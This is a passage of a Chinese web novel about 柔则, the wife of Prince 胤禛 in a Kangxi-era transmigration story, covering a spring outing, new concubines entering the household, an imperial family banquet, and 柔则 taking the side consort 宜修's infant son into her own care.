柔则自然也不例外,今儿可是专门清了场,又请了五芳斋的师傅做了合时宜的点心和茶汤。 至于午膳,专门定了两桌望仙楼的招牌,也算是享受一把春游的乐趣。有钱又有权的人的生活,就是这么朴素简单。 “府里头日日都是那些景儿,你们看不烦我也要看烦了。快出来抬头瞅一瞅,这头顶的天儿可不是四四方方的。” 柔则笑着朝郭络罗氏怀里丢了一个泛着香味儿的荷包。 今儿还是个主题聚会,她这个发起人专门注明了今日的着装要求。 根据不同妯娌的肤色和喜好,用了不同的请柬蜡封。请她们依据蜡封的颜色,穿上一身有别于普通旗装的衣裳。 这要求倒是稀奇,完全没玩儿过的众人都很有兴趣的挑选了适合自己的衣裳。 “快来瞧瞧,这主人家还会欺负人的,这可如何能依?” 郭络罗氏抓着荷包,笑的不依不饶,她家里的侄女可是说了,这位四嫂可是在小宴上讹了她一顿饭的人,她这是为自家孩子出气。 一只手搭在百花亭的雕花扶手上,一只手捏着一柄团扇的柔则正掩着嘴笑。 听了八福晋的话,便把头靠在身旁的十四弟妹完颜氏身上,突然用扇子掩住了脸,假意的委屈起来。 “我也是白费心思了,自有别人给八弟妹更好的。我哪里比的了她们,什么金啊玉啊的,我只是草木的人罢了。” 完颜氏笑的弯了腰,但还是配合着拍了拍柔则的肩膀,扭脸冲着八福晋‘凶’着:“瞧你,单找咱们这些人里最会胡搅蛮缠的。你可知错了八嫂?” 郭络罗氏也笑的停不下来,她总算知道自家侄女回来,提起四嫂那奇妙的表情是何意了。 “好好好,是我不好,惹了四嫂伤心。四嫂再给我个机会罢。” 她今日穿的是个窄袖,不方便带东西,便直接撸了手腕上的绞丝玉镯套在了柔则手上。 柔则从完颜氏的肩膀处抬起脸,斜着眼轻轻的瞟了八福晋一眼:“果然和你家里的芃婉一样,就会拿这些讨我开心。” 这劲劲儿的小模样实在叫人稀罕,不过她们自问也学不来,阴阳怪气也是要天分的,说不好那就真成笑话了。 “快来坐坐吧我的好四嫂,若是被四哥知道咱们不叫四嫂歇歇脚,怕是又要冷着脸上朝了。” 十三阿哥的福晋是知道两位阿哥关系好的,开起玩笑自然会放开一点。 她拉着柔则落座,被微风一吹,树上的玉兰微微晃动,叫人不自觉的把眼神放在那些正在飘啊荡啊的花瓣上。 “四弟妹,我家爷说,好似皇阿玛觉着四弟府上伺候的人少,挑了一位侧福晋和几位格格,恐怕你今日回去就能得了消息了。” 要说妯娌们最讨厌的人,怕是康熙是排行榜第一。 这位没有嫡妻的老爷子十分热爱给自己的儿子们塞妾室。 说话的是大福晋,她眼底带了些同情。四弟妹和四弟正是蜜里调油的时候,皇阿玛也真是没事找事。 不过,她们都是这么过来的。同情也不过转瞬而逝。 柔则捻了块桃花蜜糖放进嘴里,眼底满是不在乎:“能老老实实,规规矩矩的倒也不费什么事。若是那刺头儿,那我也有戒尺伺候着。几个妾室而已,伺候人的玩意儿,只要王爷养的起,和咱们又有什么关系。” 大福晋笑着伸手拍了拍桌子:“你能这般想就很好。” 五福晋也在受邀的行列,她家世不算高,但也不算差,只是因着比妯娌们低些,自家爷便把所有过错都推到了她身上。 明明是皇上赐婚,他不敢怪那无法反抗之人,就只会没出息的责备她。 被侧福晋压的喘不过气的五福晋此时突然想明白了,后头还有几十年要过,她这个正妻一日无错,府里头就不应该有人能踩到她头上去。 “四嫂,我的嫁妆里有一尾宋岳阳琴,听闻四嫂极善音律,不知道四嫂有没有兴趣瞧瞧我这个?” 五福晋的话引起了柔则的兴趣,她确实对古琴的兴趣很大。 “这感情好,空了给我下帖子,我去瞧瞧。” 五福晋点了点头,反正胤祺再不喜欢她也不至于克扣了她五福晋的月例,为了面子,也为了嫁入皇家好过些,五福晋的娘家当初在准备嫁妆时可是准备的齐全的很。 若论过日子,没有胤祺在侧,她反而会更痛快些。 只是小小的聚会,五福晋回到府上便处理了府里的两个管家。 至于缘由,自然是对她这个福晋不尊敬了。 就算胤祺回来生气也是无法,五福晋叫他有本事告到皇阿玛那里,不敢告就忍着。 胤祺,确实不敢。只能气哼哼的放狠话,说自己再也不来正院。 五福晋:那可太好了! 雍亲王府。 “今儿玩儿的可开心?” 胤禛亲自捧着一个紫檀木百宝嵌八仙图海棠式攒盒,语气带了三分小心,眼神里都有着试探。 柔则侧卧在美人榻上,眼睛都没睁开。 “王爷回来了,到底是哪个妹妹要来,说给妾身听听。” 把手里的盒子放在一旁,胤禛挥挥手打发走了屋子里的下人。自顾自的跪坐在柔则身前的脚踏上。 “宛宛这话可是叫我难受了,原也不是我的本意,宛宛何苦这般挖苦我。” 和柔则朝夕相处,胤禛也耳濡目染的学会了阴阳怪气,不仅是在府上,有时候在康熙面前,也会怪声怪气的说上两句。 叫太子等人很是惊悚。 柔则把手里的帕子一扔,轻飘飘的盖在了胤禛头上。 “你既要在这里,那便老老实实的坐着好好说话,再这般,便不要进我的门。” 胤禛把帕子攥到手心,探着身子扒拉着柔则的腿。 “是我错了,我不闹了。只是几个妾室,宛宛不喜欢,便打发的远远的就是了。” 柔则这才正眼瞧了他一眼:“那倒是也不必,妾身总有不方便的时候,这多子多孙的福气,便叫她们得了吧。” 胤禛起身把一旁的盒子抱过来:“是是是,她们都不重要。瞧我给你带了什么?” 那盒子用黄色螺钿嵌行龙,白色螺钿嵌浮云和火珠,瞧着喜庆的很。 里头放着一对朝阳五凤挂珠簪,一对红珊瑚双喜嵌金步摇,还有一对金珠串灯笼耳坠。 “都是我亲自画的样子,瞧瞧可还喜欢?” 柔则随手拿起一根朝阳五凤挂珠簪比划了一下:“喜欢,若是日日有,就更好了。” 胤禛笑:“有,宛宛想要就有。” 他舒了口气,终于过了这一关,应该能上床睡觉了吧? 第247 章 柔则16 然而这一晚,胤禛还是未能如愿上了柔则的床。偏他看着柔则那似笑非笑的神情也不敢出门,只好别别扭扭委委屈屈的在一旁丫鬟守夜的软榻上将就了一晚。 不过,早上得了柔则亲手给挂上的荷包,一身酸痛便尽消了。 和大福晋说的大差不差,这次入府的有侧福晋苗氏,格格甘氏,钮钴禄氏和耿氏。 系统自觉的出来解惑:“有时候这种套用历史背景的小世界会自己补充完善,不过这都是很偶尔的几率。 这位钮钴禄氏虽然是历史上弘历的正经生母。但小说世界嘛,这是不可能的,生下弘历的,只能是圆明园的李金桂,或者在你的干预后,没有弘历这个人物。” 系统的话莫名戳到了柔则的笑点,她在脑子里讥讽一笑:“哦?没有弘历,那不是就没有找妈妈的戏码了?这圆明园一出戏也算是小亮点呢。” 这话系统没法接,按照公平公正的职业守则来说,跟它没什么关系。 “同宜院后头的芳菲苑给苗侧福晋,耿格格和钮钴禄格格安排在漱云斋,甘格格去芳菲苑旁的同心阁。” 三位格格在七日后入府,苗侧福晋的小小婚礼柔则完全撒手给了扈嬷嬷和喜嬷嬷两个人,最后拿着账本交了差,就算是她干了活了。 “福晋,同宜院那边又请了府医。” 宜修以为自己的同宜院已经在前院王爷的保护范围内,殊不知她院子里的大部分人手,都是柔则的人。 虽然柔则没有克扣月例的习惯,但晚上几日,或者饭菜咸了淡了都是常事。宜修也找徐副管事反映过,但都被四两拨千斤的敷衍了过去。 剪秋气不过,等在前院的垂花门处堵了胤禛一次。 被以‘不守府规’为由打了十个板子。 自这起,宜修便三不五时的抱病喊痛,有时胤禛都在格格处歇着了,江福海也会在院子门口叫上两句。 “拿了本福晋的牌子去太医院请个太医来,日日抱病喊痛的,本福晋倒是要看看她有什么毛病。” 好好儿的在府里头当个透明人活着不好吗?非要没事蹦出来在她眼巴前晃悠一下,从来没有获得过宠爱,谁给她的底气这般闹腾? “对了,传信回府,侧福晋规矩欠佳,想必是柳姨娘没有教导好,叫额娘给她弄碗佛豆捡着,省得没日没夜的掉那不值钱的眼泪。” 柔则赐婚了雍亲王福晋后,柳姨娘哭哭啼啼的在费扬古面前似是而非的说着担心宜修的话。本是喜事,她晦气的样子叫费扬古没了最后那一点耐心。 如今在府里男主子不疼女主子不爱的,即便是哭干了眼泪,也没用了。 “周太医,侧福晋究竟何故?” 宜修正在院子里溜达,就看到嫡姐带着一个拎着药箱的太医和乌泱泱的下人冲进了她的同宜院。 “福晋这是......” 被扈嬷嬷和喜嬷嬷架着把脉时,宜修是心慌的。 她确实觉得怀相一般,但也远没有到需要请太医的地步。 “福晋见您三不五时的请府医,有时候还会命奴才半夜叫王爷去看病。为了避免侧福晋的胎有问题,也为了不影响王爷的休息,福晋特意拿了对牌给您请了太医来瞧瞧。” 同宜院的大门大开,府里头的人都能看到里头的热闹。 太医在心里鼓掌四福晋的果决和利索,耳朵巴巴的伸着,企图得到更多的八卦。 宜修被说的脸上火辣辣的难堪,她只不过是按照姨娘教的偶尔示弱罢了,哪里能想到福晋这般不通情面。 “回四福晋的话,这位侧福晋脉象并无不妥,只是心绪不宁,放松心情就好了。” 周太医是最擅长妇科的,又是宫里头的人,宜修自认为柔则还没有本事拉拢宫里的太医。闻言尴尬的笑了笑:“初次有孕,可能是想的有些复杂,倒是劳烦福晋担忧了。” 柔则没有搭理宜修,扶着云筝的手慢悠悠回到自己的院子。 今日一事虽然落了宜修的脸面,但府里的妾室也有了分寸,知道不能以腹中的子嗣为由大半夜的影响王爷的休息。不然就会像乌拉那拉侧福晋一样,被当众剥下来脸皮扔到地上踩。 在府里丢人也就罢了,这太医回到太医院会不会说那可不是她们能控制的。若是这脸皮被粘到太医的鞋底带到了宫里,那可真是没脸见人。 府里头的格格们一下子就老实了,即便是争宠也是给胤禛送个荷包送个帕子,再多的,她们可不敢做。 而苗侧福晋入府后,因为面容姣好意气较盛,试图改变胤禛大半个月都宿在正院的习惯。 “奴才想要给主子立规矩?这可是本福晋今年听过最好笑的笑话。” 柔则看着底下苗侧福晋的脸一脸嫌弃。 “妾身不是奴才,妾身是上了玉牒的侧福晋。” 苗侧福晋据理力争,一双手捏着椅子的扶手,青筋都露了出来。 柔则的眼神自下而上的扫了一圈,随后翻了个白眼:“也可以是明儿就得了时疾去了的侧福晋,难不成你以为皇上会为了你一个侧福晋出头吗?” 那确实不可能,面侧福晋这点自知之明还是有的。 她身旁的甘格格按着她的手摇了摇头:“福晋,苗侧福晋心直口快,心思单纯,并非有不敬之心。” 柔则伸手看了看自己今日描了金线的指甲:“有没有这个心,甘格格说了不算,本福晋说了才算。 从你们入府的第一日本福晋就说过规矩,能安安分分守规矩的,就能平平安安的过。若是不能,本福晋也有叫你们不痛快的法子。 想要试一试,就尽管来。也算是给其她妹妹瞧瞧,不守规矩的下场。这只‘鸡’,苗侧福晋若是想要当上一当,本福晋还是很乐意陪你玩一玩儿的。” 苗侧福晋被柔则那绵里藏针的语气蛰的眼神都清澈了,她怂哒哒的坐回到自己的座位上,再也不想着挑衅福晋的威严。 一旁的甘格格叹了口气,早就说了这位福晋不是个软绵的,非要碰个钉子才能收回那个冒出去的头。 宜修想看热闹的心再一次熄灭,她有些绝望的低着头,难不成真的没人能管的了嫡姐吗? “对了,侧福晋有侧福晋的圈子,苗侧福晋得空了可以下帖子约其她侧福晋小聚,记得规矩就好。” 柔则出门被问了八百遍,她们嫡福晋有嫡福晋的圈子,侧福晋自然也有。只不过宜修是烂泥扶不上墙,即使柔则派人去教也不学,始终缩在这一亩三分地,叫人看着就来气。 这活儿苗侧福晋喜欢,她闺中有不少手帕交,还是个嘴巴闲不住的。 “诶!妾身记下了!” 她应的响亮,倒叫柔则吓了一跳。 明明前几日还试图挑衅她嫡福晋的威严,现如今又像个憨货。 为了保住雍亲王府的脸面,柔则把芳溪给了苗侧福晋。 也是胤禛前院出来的婢女,苗侧福晋乐呵呵的接受了,也被拦住了几次话头,效果立竿见影。 第248 章 柔则17 搭着柔则和苗侧福晋四处交际的光,胤禛这个万年老冰山的名声也是好了起来。 就连宫里的康熙和太子都有所耳闻,正巧趁着暑热,皇上带着大部分人到畅春园避暑去了。 园子树多水多,确实比闷在府里头清凉。但就是皇上带着的人也多,住着就稍显局促些。 也就搭着夏日里的衣裳布料都轻薄些,胤禛又知晓自家福晋挑剔矫情的小性子,提前着人准备了不少挂衣裳的架子,这才没有叫人看到小房间就摆脸子。 “皇阿玛也赏了我一个园子,只是还未修缮好,里头也只是疏漏的几处小院,景儿也差些。先忍上两年,等园子修缮好了,我带你去那边住着。” 府里头的正院可是扩了两次,才达到了面前这位小祖宗的要求,但是那一间卧房,就要顶上这里的堂屋了。 虽然脸色未变,但那股不痛快的劲头由内而发,熟悉她的胤禛自然第一个感受到。 “便是屋子小些也就罢了,这屋子也瞧着闷闷的,一点也不敞亮。” 马车里虽有冰鉴,但到底在路上颠簸了一阵子。本就心烦气躁,进屋还要看这沉甸甸的颜色,谁能痛快了。 胤禛瞧了瞧,往年他都是自己来住,也没觉出什么不对劲来。如今再看,这锦帐的颜色有些深沉,装饰也过于稳重了。 “都是内务府着人操办的,一会儿就叫人换了去。你先去洗一洗松快一下,马上就好了。” 哄着人进了洗漱间,胤禛看了一眼苏培盛和扈嬷嬷。 两个人同时忙碌起来。 沉闷的靛青色被换成了轻盈的苕粉,床上也铺了柔则睡惯了的纱罗被。角落的香几上那青铜双耳的香炉也被换了下来,摆放上了柔则夏日喜爱的芙蓉石香炉,并燃上了清甜的橙花帐中香。 这香气甜暖,明快舒缓,是柔则小憩时必备的香料。 瞧着月瑾燃了这香,胤禛自觉的退了出去。他还没有那个福气能悠闲的歇一会儿,他们这些老儿子还得去皇阿玛那儿报道听训。 “四哥可是忙完了,咱们都等好久了。” 胤禟看到老四就会说上两句,大家都习惯了。 只是如今的胤禛可不是三棍子打不出屁的老四了,他斜眼瞅了胤禟一眼,嘴里不咸不淡的说道:“倒是四哥的不是,可是误了九弟接下来的好事了?” 康熙和太子同时脑袋后仰,就像面前出现了一坨狗屎一样躲避不及。 胤祥和福晋关系最好,所以对于四嫂的阴阳怪气也有了解,所以不算惊讶。 而胤禵是自个儿认为和柔则是姐弟的关系,所以完颜氏也和柔则关系不错,对这个风格也早就有了准备。 至于其他人,只能说包容,才是他们这些皇子的主要任务。 “好了,都少说两句。今儿难得松快松快,晚上由宜妃和德妃张罗了一桌家宴,都带上你们福晋来。” 这些皇子虽然觉得奇怪,但还是应了下来。 哪年来畅春园也没见这位老爷子有心疼儿子办家宴的时候,今年别是有什么阴谋吧? 想归想,该出席的绝不会迟到。 “四嫂这衣裳真好看,是刻意裁宽了袖口吗?” 八福晋跟着八阿哥正坐着,瞧见门口进来的柔则就站起了身。 “你这眼神倒是稀奇,我头顶的昆吾石闪的像个明灯似的你瞧不见,偏盯上了我的袖口。” 柔则把手从胤禛手里挣脱,迈步到八福晋身边点了点她右眼下那一点点的小痣。 八福晋顺势拉住柔则的手不自觉的摸了摸:“瞧着你还不好,外物我才不稀罕呢。” 两人凑一起手拉着手,偶尔八福晋贴到柔则耳边说些笑话,惹得柔则脸都笑红了。 留下胤禛和胤禩面面相觑。 两人虽不像太子和直亲王一样针尖对麦芒,但毕竟阵营不同,确实也不像小时候那般和谐了。 “四哥请坐。” 说到底两人现在也没什么大矛盾,只是政见不和而已,所以大面上都是你好我好的。 “哟,这不是老四吗?怎么来这么早?” 这动静不用看都知道是谁,胤禩在心里叹了口气,不知道什么时候能堵上老九那张破嘴。 然而破嘴不止一张,老九可是有个铁搭档在身侧。 “可不是,四哥可是干大事的,哪能跟咱们一样。” 胤?嘻嘻哈哈的声音还没落下,胤禵那贱兮兮的动静也跟着冒了出来:“四哥怎么不说话,是瞧不起咱们吗?” 胤禩再次叹气,喝了口茶刚把笑脸挂上,就听得一阵仙乐般的声音响起。 “叫我瞧瞧这热闹来,这要来一群都来,要不来一个也不来。今儿九弟来了,明儿十弟再来好不好呢?十四弟也是,如此错开了来着,岂不是天天有人来我家爷这儿说上话了?也不至于太冷落不是。八弟,你说这意思对不对?” 胤禩莫名其妙被拉入战场,只能起身微笑:“四嫂说的有道理,只是九弟他们也是玩笑惯了,失了分寸,弟弟代他们请罪。” 柔则躲开了胤禩的抱拳,轻轻把身边的八福晋推到了他怀里。 “八弟何错之有,你且别处和汀兰闹会子再来吧。” 胤禩这么大岁数了,第一次被人用打发小孩一般的语气哄走,看了眼三个面色还好的弟弟,半搂着郭络罗氏扭头就走。 胤禛给柔则递了杯茶,笑眯眯的看着对面的三个讨人嫌的弟弟。 “四嫂误会了,这不是四哥有日子没找咱们玩了,今日得闲来说两句罢了。” 胤?不理解九哥和十四弟的突然变脸,他站在两人中间看看这个看看那个,有种被背叛的感觉。 “嗳哟,那就是我来的不巧了?” 胤禵凑上来一张灿烂的笑脸:“怎会!表姐来的正是时候,瞧弟弟得了什么宝贝。” 这下子连胤禟也换了脸色,好家伙,老十四这是什么意思,搁这套近乎是吗? 胤禛虽不爽胤禵的刻意讨好,但瞧着三个原本亲亲近近来恶心他的人突然分崩离析,这场面还是取悦了他那颗小心眼又斤斤计较的心。 柔则拉着胤禛的手平放在胤禵面前,胤禵暗戳戳瞪了胤禛一眼,把手里的小盒子重重的放在了他手里。 “表姐快瞧,这可是我在洋人手里得的戒指,是不是和表姐头上的昆吾石很适配?” 就是钻戒而已。只不过对比起大清如今进口的昆吾石相对来说,工艺更加成熟,更加漂亮。 系统粗略估算有十七八克拉的大小,是漂亮的紫红色。 “你倒是有心了。” 柔则从盒子里拿出来戴到手指头上,看着自己的手指问道:“好看吗?” 胤禛,胤禟,胤禵:“好看!” 胤?:“啊,哦,好看。” 柔则噗嗤笑了出来:“改明儿四嫂做东请弟弟们带着福晋吃饭,今儿可快入座吧,皇阿玛要到了。” 胤禟和胤禵拉拉扯扯的离开了这一块,胤?摸了摸头,冲着柔则龇牙一笑也追上了前头两个忘了他的兄弟的脚步。 胤禛在桌下捏了捏柔则的手指:“辛苦福晋了。” 柔则挑眉:“凭他是什么人,爷便只能给我一人欺负。” 第249 章 柔则18 “今儿是家宴,大家都不必拘束。” 今天的宴席安排确实是用了心了,以康熙的主位为定点,从太子和直郡王两侧起成半弧形。难得的是,还有几个较小的阿哥也参与其中,其中就有前几年相对受宠,这段时间恢复平庸的十七阿哥胤礼。 大家瞅了一眼底下默不作声的小十七默契的笑了笑,前几年上头这位突发第二春的老爷子对那位摆夷族的舒妃可谓是昏了头一样的宠爱。就连这个儿子,也跟着水涨船高,一应待遇直逼曾经的太子胤礽。 不过自去年来,老爷子好像又恢复了神志一般。 舒妃彻底失宠,小十七也恢复平庸。 只是从什么时候开始的,兄弟几个想了又想,把同情的眼神放在了胤禛身上。 胤禛黑了黑脸,但片刻又恢复了自然。只见他握着柔则的手凑到她耳边说着什么,然后被柔则塞了个果子到嘴里。 虽然胤禛的目光没有投向兄弟们,但他们莫名觉得这就是挑衅。 “四哥成亲后便甚少和弟弟们出来吃饭了,今儿难得同坐一席,弟弟敬四哥一杯。” 胤禟像个显眼包一样,永远做这个出头鸟。 胤禛瞧了眼他那杯柔则亲自倒的酒,一口就干了。 “倒是难为九弟还记着,从前也不见九弟去四哥府里坐坐。既然有这个心思,四哥便等着你。” 胤禟收起了笑容:老四你个阴险的老男人。 太子饶有兴致的看着这一幕,目光对上底下那个倾国倾城的四福晋嘴角微微勾起。 “甚少见老四喝酒这么痛快。” 他的眼神看向了柔则的手,准确的说,是柔则手里的酒壶。 柔则挑眉对上太子的眼睛,然后晃了晃手里的酒壶。 在场哪有蠢笨的,自然听懂了太子的言中意,也看懂了柔则的动作。 只不过太子没有明说,皇上没有阻止,他们也不好去柔则手里抢东西,只好作罢。 胤禵这个亲弟弟是最爱和胤禛对着干的,他晃悠着自己的酒壶来到胤禛身边。刚想往那小酒杯里倒上一杯,眼前那紫红色的戒指便夺去了他的视线。 “十四弟这是何意?信不过四嫂吗?” 即使知道胤禛的酒壶有问题,胤禵能在这个场合说一句‘信不过’吗?尤其是开口的还是他的亲亲表姐。 “怎会!只是想让四哥尝尝我这酒罢了。” 胤禵收回手,老实的坐在胤禛的旁边。 这桌子本就是双人的,加一个人自然就会觉得拥挤些。 偏胤禵没有那个自觉,挤着胤禛偏头和柔则说话,叫胤禛十分嫌弃。 “你若是在这里,那我便去弟妹那里坐着,省得挤挤巴巴的,好不难受。” 胤禵笑着拎起自己的酒壶又凑到了八阿哥那桌。 康熙就在上头看着,眼神偶尔扫过柔则时停留瞬间并不明显。 但还是被细心的胤礽察觉出了一二。 他环顾全场对上了胤禔了然的视线,两人互相举杯,隔空碰了一下,再次抬眸时,仍旧是你争我夺的姿态。 两人的小动作被十三看在眼里,他低下头给兆佳氏夹了一筷子樱桃肉:“多用些,瞧着怕是得有一会儿才能散了。” 今儿这场戏融合了前朝,父子,伦理,兄弟多重元素,胤祥作为吃瓜第一线,和兆佳氏就着酒十分的尽兴。 而吃到后场,大家都随意了起来,离开自己的座位找想要聊天的人凑在一起。 柔则刚喝了三福晋的酒,被一股灼热的视线盯的有些不舒服,下意识的看过去,对上的,却是十七的眼睛。 “四嫂,弟弟敬你一杯。” 胤礼是三十六年生人,如今也有十多岁了,少年抽条身量瘦高,又因着青涩颇显俊俏的脸微微泛红。 柔则意味深长的一眼叫胤礼头皮发麻,他自以为藏的住的心思全然写在脸上。 然而柔则想的却不是这些,而是在心底和系统大叫‘菀菀类卿’是真的! “十七弟在这儿做什么,跟哥哥们去喝酒。” 胤禵时刻注意着柔则身边的人,看到胤礼凑上去第一时间把人拽走。 顺便还给了胤祥身边的胤禛一个白眼:没出息的老男人,家里进贼了都不知道。 胤禛莫名的看懂了胤禵的眼神,他冷哼了一声。 十七那种毛都没长齐的孩子有什么好放在眼里的,他家这家贼最猖狂的明明就是老十四! 上首的德妃也跟着心肝儿一跳一跳的,眼神丝毫不错漏的盯着胤禵这个瘪犊子玩意儿。 一场家宴,她吃了什么不记得,肚子倒是涨了起来,还惹得宜妃笑话‘贪口齿之欲’。 德妃难得的没有跟宜妃呛呛,反而觉得宜妃有些傻得可爱。 “娘娘可是安心了,十四爷有分寸的。” 竹息服侍着德妃用了一碗山楂水,轻柔的跪在地上给她揉着肚子。 “分寸?我看他早就忘了分寸这两个字了。” 德妃没好气的吐槽了一句,不过今日一事倒也没那么明显。只有她这种知道内情的才精准代入,如宜妃这般敏锐的人都没能察觉,德妃还是松了口气的。 避暑的日子还未过半,雍亲王府来人送信儿,宜修早产了。 这让正在扒拉这段时间的赏赐的柔则皱了皱眉。 她离开前特意留了府医芳若和喜嬷嬷在府,也没有特意去刺激她,怎么还是早产了。 胤禛先一步回府,柔则慢悠悠的收拾细软也准备结束这趟避暑的行程。 等柔则到的时候,同宜院已经安静了下来。 “如何了?” 她也没去看宜修,只在云筝等人的服侍下泡了个澡,顺便用了些吃食。 胤禛就在一旁陪着,柔则不提,他也不吭声。 “母子平安,大阿哥瘦小,太医说是胎里不足所致。” 柔则不解的抬头:“胎里不足?” 这话真是好没道理,府里的孕妇吃的都不差,府医也是两三日的平安脉请着。也就是宜修初有孕时她刺了两句,余下的日子可没怎么磋磨她。 “嗯,宜修心思重,即使用的好孩子也不沾光。” 柔则翻了个白眼:“贱人就是矫情。” 这话胤禛很赞同。 “对了,你挑些人手给大阿哥那里送过去,宜修拎不清,别教坏了孩子。” 胤禛欲言又止,其实他是想问这个孩子柔则有没有兴趣。 不过现在看来,他的宛宛另有计划,那他还是闭嘴吧。 柔则确实等着宜修得瑟呢。 到底是雍亲王的第一个儿子,洗三和满月办的都很隆重,这让宜修又生出了一些小心思。 柔则瞧着就觉得可乐。 “瞧把咱们乌拉那拉侧福晋开心的,怕是连规矩都忘了。” 宜修福了福身,眼底带着志得意满的骄傲:“福晋言重了,妾身只是初为人母有些兴奋。福晋未有子嗣,所以不懂妾身的心情。” “哦~这样啊~” 柔则拊掌轻笑:“既如此,来人,把大阿哥抱到正院来养着,也好叫本福晋体验一下,这为人母的心情。” 说着,苏培盛和喜嬷嬷便带着人去了同宜院把大阿哥抱了回来。 宜修愣在原地,哪里能想到柔则她真的敢这么做。 尤其是看到苏培盛后更是绝望,原来爷早就同意了吗? “福晋!福晋,妾身说错话了,求福晋把大阿哥还给妾身吧。” 宜修这才慌了神,哭喊着看着大阿哥的小小身影消失在眼前。 柔则看着跪在地上的宜修摇了摇头:“这狗啊,学不乖就要挨打,宜修,这道理,你总是不懂呢。” 第250 章 柔则19 胤禛刚回到王府,就看到苏培盛扎着手在门口候着,脸上的笑容既谄媚又虚伪,让人实在倒胃口。 “你这狗奴才,做什么这副德行。” 最近柔则总是跟那几个嫂子弟妹的四处玩儿去,胤禛把苏培盛给留给了她,也是为着方便。 “奴才这是有事禀报呢。” 苏培盛也不想在这站着晒太阳啊,福晋那里轻松又舒坦,得空了坐着吃两口点心好不好呢,他又不傻。 胤禛斜眼看了苏培盛一眼,心里头直突突。 “说吧,谁又惹福晋生气了?” 盘算了一下府里的仨瓜俩枣,胤禛把目标锁定在了宜修身上。 果不其然,苏培盛在后头小跑着追着胤禛的脚步,嘴里也没耽误。 “回爷的话,这几日乌拉那拉侧福晋总是去福晋那里说话,甚至拿福晋无子说事。今儿福晋便把大阿哥抱到了正院里头养着。垂花门处,乌拉那拉侧福晋正等着爷呢。” 要苏培盛说,这乌拉那拉侧福晋也是脑子有问题,你有了庶长子还不安分的养孩子,非要到嫡福晋那里显摆,是觉得嫡福晋平日里太温和了吗? 胤禛不自觉的翻了个白眼,他就说宛宛怎么不着急呢,原来是知道自家这个庶妹会主动送上门啊! “蠢货。” 胤禛低声的骂了一句,脚尖一转往自己的书房走去。 “去跟你家福晋说一声,晚膳了爷再过去,今儿公务多。” 旁的人摆事实讲道理总能说通,偏乌拉那拉宜修是个执拗且对宛宛有非常严重的较劲心理的人。 明明只要安安分分的,宛宛这个忙碌着打扮,忙碌着到处玩儿的人根本无暇顾及她。可这人......唉,简直愚不可及。 苏培盛皱着脸看着自家主子无情的背影欲哭无泪,他也不是很想单独面对乌拉那拉侧福晋啊! 可惜再大的王府也总有走到头的一天,苏培盛看着宜修那张期待的脸,心里毫无波澜。 “苏公公,王爷还没回来吗?” 红肿的双眼,有些凌乱的发髻,被揉的皱巴巴的手帕,无不显示着主人的焦急。 苏培盛:现在知道急了,早干什么去了。知道自己几斤几两偏要去惹惹不起的,图什么! “王爷在前院处理公务呢,侧福晋您先回去。王爷忙完了说不得就会去看您了。” 心里的思绪再多,面上苏培盛也不会得罪任何一个人。 宜修不想回去,她不顾苏培盛的劝阻执意站在垂花门处等着。 苏培盛无法,只好回正院搬救兵。 “欢卿,你去告诉宜修,再闹,本福晋不介意叫着府里办一次丧事。” 看着摇篮里瘦小的大阿哥,柔则难得给了个笑脸。 这孩子跟着宜修也是受了罪了,娘胎里就没养好,偏还是个早产的。也不知道她看的哪本医书,给孩子喂奶也只是七分饱。 啧啧,这比她这个老鬼的心都狠啊! 听芳若说,宜修还天天拿着四书五经在大阿哥耳边念叨。还没到玩玩具的年纪,耳朵就先长了茧子。 欢卿来到垂花门,礼仪周全的福了福身。 “侧福晋,福晋派奴婢来问您,是对福晋的决定不满吗?” 别看欢卿现在笑眯眯人畜无害的样子,她可是得了觉罗氏的亲传,视人命为草芥的。尤其是叫她主子不高兴的人,在欢卿眼里,那就没有存在的必要。 宜修打了个冷颤,不知道是被风激的,还是被欢卿的笑容吓的。 “不,我并没有这个意思。我只是想见王爷而已。” 欢卿还是笑着,她上前一步扶住宜修的胳膊,脚步坚定的往同宜院的方向走。 “侧福晋此言差矣,这后院的大事小情都是福晋的职责。虽说您因为不守规矩被福晋给了王爷管着,但侧福晋,福晋说的话您也得听啊,王爷又不能时时刻刻在后院给您收拾烂摊子,您说,是不是这个理?” 宜修被欢卿稍显急促的脚步拉扯的跌跌撞撞,另一边的绘春用力稳住了自家主子的身形,却也只是增加了一点微末的平衡罢了。 “福晋这是何意?难不成我连见王爷的资格都没有了吗?” 欢卿扭头看了看宜修,她那双瞳仁很大的双眼没有情绪的时候黑漆漆的,看着有些嚇人。 “您若是能等来王爷,刚刚就不会有苏培盛来打发您了。” 不等宜修继续反驳,欢卿看着近在咫尺的同宜院牌匾说道:“侧福晋,您也得为自己考虑考虑,这般闹下去,惹了福晋心烦,可怎么好呢?” 松了手,看着宜修倒在绘春身上的欢卿行礼告退一气呵成。同宜院那点小地方晦气的很,她可不能进去,不然得沐浴更衣才能去近身服侍主子了。 得知福晋出手弄走了宜修,胤禛撂下手里的笔迈步往正院晃去。 “大阿哥看起来瘦瘦小小的,同宜院的人也不知道干什么吃的。” 好歹是自己的大儿子,就算父爱微薄也不能看着奴才苛待了。 柔则白了他一眼:“关奴才们什么事,还不是你那侧福晋,说什么养生七分饱。” 胤禛很想反驳一句:“那还是你庶妹呢!” 但是他不敢说出口。 “大阿哥先在正院住上一段时间?” 若是柔则喜欢,胤禛认为府里的孩子都可以给柔则养着。 “住着吧,倒也不是喜欢孩子,就是看宜修那气急败坏的样子有趣儿。” 这样的柔则看的胤禛仍然心动不已,他拉着柔则的手晃了晃:“今儿叫我睡床上吧?上次的错儿我都知道了,绝不会再犯。” 雍亲王府如今再也看不出胤禛人缘不好的样子,门口的马车日日都迎来往去,几个不着调的弟弟如今倒四哥四哥的喊的亲热,打量着他看不出他们的小心思。 胤禛因着不痛快酸了柔则两句,被罚着睡了十日的软榻了。 光是这般也就罢了,每晚被束着手脚看着那么大一个美人儿在眼前轻纱薄衣的晃悠吃不到嘴里,他觉得自己都要生病了。 “我平时和你说的,见了他们你就全当耳旁风。怎么他们只来了几日,你就都听进去了?比着圣旨你都要听的仔细。” 想要上床睡?柔则可不能轻易答应。 “哪有当耳旁风,只是他们喊的亲热,我听着不爽利。” 胤禛也很委屈啊,自己的福晋,总有弟弟来串门是怎么回事。 虽然他们也不做什么,但是出现在这里就很碍眼。 柔则瞪了他一眼,居然还敢顶嘴了。 “他们和我好怎么样?他们不和我好怎么样?他们前儿和我好,后来不和我好怎么样?我和他们好了吗?只他们一厢情愿的和我好,你便要这般胡言乱语,他们只会偏着和你对着干,你就是个瞎子。” 